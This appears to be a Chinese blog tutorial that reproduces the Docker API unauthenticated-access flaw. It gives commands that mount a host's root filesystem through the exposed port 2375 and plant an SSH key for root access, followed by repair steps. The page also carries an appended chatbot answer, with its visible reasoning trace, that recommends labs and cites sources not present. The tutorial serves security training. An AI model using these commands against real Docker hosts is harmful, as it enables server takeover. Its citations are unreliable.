Docker API未授权漏洞复现

微信公众号:乌鸦安全

 

扫取二维码获取更多信息!

01 漏洞成因

如果在docker上配置了远程访问,docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果没有做限制的话,攻击者就可以通过Docker未授权来控制服务器

02 漏洞搭建

在这里使用vulhub直接进行复现

docker-compose build

docker-compose up -d

漏洞搭建完成

03  漏洞检测

可以使用命令行验证当前的漏洞是否存在

docker  -H tcp://*.*.*.*:2375 images

或者

来证明存在漏洞

http://127.0.0.1:2375/version

http://127.0.0.1:2375/info

04  漏洞利用

因为主机是mac,然后在里面启用了一个docker,然后再里面又启用了一个docker,所以这里是无法使用替换密钥的方法来登陆第二层docker的

所以在这里直接使用脚本利用计划任务来反弹shell

这里尝试一个反弹shell的操作:

其中10.211.55.23是Kali的ip地址

10.211.55.2是docekr的未授权端口这里将shell弹到kali上

当这个脚本在mac上执行完成之后,大概需要很长的时间会返回一个shell回来

05  实战

这里来模拟测试开启Docker API未授权之后,使用密钥登陆受害者机器

5.1 配置Docker支持远程访问

在这里使用我自己的阿里云主机进行测试

首先要配置docker支持远程访问

进行文件备份

cp /lib/systemd/system/docker.service /lib/systemd/system/docker.service.bak

然后编辑

vim /lib/systemd/system/docker.service

在文件的末尾增加以下代码

[Service]ExecStart=ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

保存并退出编辑后,重载守护进程以及重启Docker:

sudo systemctl daemon-reload
sudo service docker restart
通过执行命令查看是否开放了远程访问端口:
systemctl status docker.service

在这里还可以输入docker info 查看

5.2 写入密钥

以下我将vps地址用127.0.0.1进行了替换

在本地执行命令:

查看远程vps的镜像

docker -H tcp://127.0.0.1:2375 images

这时候发现并没有运行的容器,那么来测试下

查看远程vps是否运行了容器

docker -H tcp://127.0.0.1:2375 ps

在这里拉取一个镜像文件busybox

因为这个镜像很小,但是命令很全

docker -H tcp://127.0.0.1:2375 pull busybox

然后运行该镜像

docker -H tcp://127.0.0.1:2375 run -it -v /:/mnt 69593048aa3a /bin/bash

69593048aa3aImage ID

这条命令的意思是启动一个image ID 为69593048aa3a的容器,并且将该宿主机的根目录挂在到容器的/mnt目录下

启动之后就会获得该容器宿主机的shell

然后直接cd mnt/root/

看到了我的服务器上的root下的文件

cd .ssh

在这里要将服务器里面的authorized_keys文件进行备份,一定要记住!!!

在本地生成一个公私钥,这里以Mac环境为例

在桌面新建了一个ssh的文件夹,将生成的公钥保存在里面

注意在生成的密钥要保存的位置我这里是自定义的,如果不是自定义的话,可以一路回车,自定义的话,第一个要写文件路径,后面的也可以一路回车,然后在.ssh路径下获取文件(非自定义路径保存)

生成:ssh-keygen -t rsa

看下生成的文件,有两个

id_rsa      id_rsa.pub

再回到远程主机上来

使用echo指令将公钥写进去

直接远程连接

ssh -i id_rsa root@127.0.0.

登陆成功。

5.3 修复Docker API未授权

将我们的authorized_keys文件删除,将原来的文件复位​​​​​​​

rm authorized_keysmv authorized_keys.bak authorized_keys

然后再去处理配置文件

  rm  /lib/systemd/system/docker.service  # 将备份文件重命名 mv /lib/systemd/system/docker.service.bak   /lib/systemd/system/docker.service
# 重载重启操作systemctl daemon-reloadservice docker restart

然后再用docker info看下

警告信息没了

再试试连接下

可以了

06  修复方法

  1. 设置ACL,只允许信任的IP端口连接对应端口

  2. 开启TLS,使用生成的证书进行认证

微信公众号:乌鸦安全

 

扫取二维码获取更多信息!

<think>好的,我现在需要帮助用户寻找关于未授权访问漏洞的靶场和学习资源。首先,我得回顾用户提供的引用内容,看看里面有没有相关的信息。用户提到了引用1到5,其中引用2、3、4、5都提到了靶场或者相关漏洞的实战内容。比如引用2提到了Hadoop和Redis的靶场实战,引用3提到了访问特定路径获取信息,引用4提到了漏洞复现和GETSHELL的方法,引用5则介绍了WebGoat这个Java靶场程序。 接下来,我需要整理这些信息,给出用户具体的靶场资源。首先,Vulfocus在引用2和4中被提到,应该是一个综合靶场平台,支持多漏洞环境,包括Hadoop和Redis的未授权访问。然后WebGoat在引用5里,虽然主要针对Web漏洞,但可能包含相关的内容。另外,用户可能需要自己搭建环境,比如用Docker部署Hadoop或Redis,这在引用3中提到过修复方法,可能搭建时需要注意安全配置。 然后,用户可能还需要学习资源,比如文章或实战指南。引用2和3的标题都涉及未授权访问漏洞的总结和实战,可以推荐相关的文章链接。另外,Metasploitable和DVWA虽然主要是其他漏洞,但可能也包含未授权访问的案例,需要确认一下。 还要注意用户提到的合规性问题,引用1强调了在非授权情况下进行渗透测试是不合法的,所以必须建议用户在本地搭建靶场,如引用4提到的靶场环境下载方式,或者在Vulfocus这样的平台上练习。 最后,要确保回答结构清晰,分点列出靶场推荐、学习资源、注意事项,并且每个部分都有具体的例子和引用来源。同时,生成的相关问题要围绕用户可能进一步的需求,比如漏洞原理、修复方法、搭建步骤等。</think>### 未授权访问漏洞靶场与学习资源推荐 #### 一、靶场环境推荐 1. **Vulfocus综合漏洞靶场** - 支持Hadoop、Redis、Kubernetes等未授权访问漏洞的实战环境 - 提供一键启动的容器化靶场,可直接通过Web界面操作 - 示例漏洞复现: - Redis未授权访问导致GETSHELL(需配合SSH密钥写入)[^4] - Hadoop YARN未授权访问远程命令执行 - 平台地址:`https://vulfocus.cn/` [^2][^4] 2. **WebGoat靶场(OWASP官方)** - 包含访问控制缺陷相关实验(部分涉及未授权访问原理) - 提供30+安全实验课程,含视频演示和分步骤指导 - 项目地址:`https://github.com/WebGoat/WebGoat` [^5] 3. **自建环境(推荐)** - **Hadoop/YARN环境搭建**: ```bash docker pull sequenceiq/hadoop-docker docker run -it -p 8088:8088 sequenceiq/hadoop-docker /etc/bootstrap.sh -bash ``` - **Redis未授权环境**: ```bash docker run -d -p 6379:6379 redis --protected-mode no ``` - 注意:需关闭服务认证模块模拟漏洞[^3] #### 二、学习资源 1. **漏洞原理与实战文章** - 《Hadoop & Redis未授权访问漏洞分析与利用》 - 《Kubernetes API未授权访问漏洞修复指南》 2. **渗透测试方法论** - 未授权访问漏洞的发现路径: - 端口扫描 → 服务识别 → 尝试默认配置访问 → 利用工具验证 - 常用工具链:Nmap、Redis-cli、Metasploit(含Hadoop exploit模块) 3. **合规性注意事项** - 必须使用本地或授权靶场进行测试(如Vulfocus)[^1] - 禁止对非授权目标实施扫描/渗透操作 #### 三、典型漏洞修复方案 1. 强制启用认证机制(如Redis的`requirepass`)[^3] 2. 限制服务监听IP(如Hadoop绑定内网地址) 3. Kubernetes需配置`--anonymous-auth=false` 4. 使用网络ACL限制访问源(如云服务器安全组规则)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值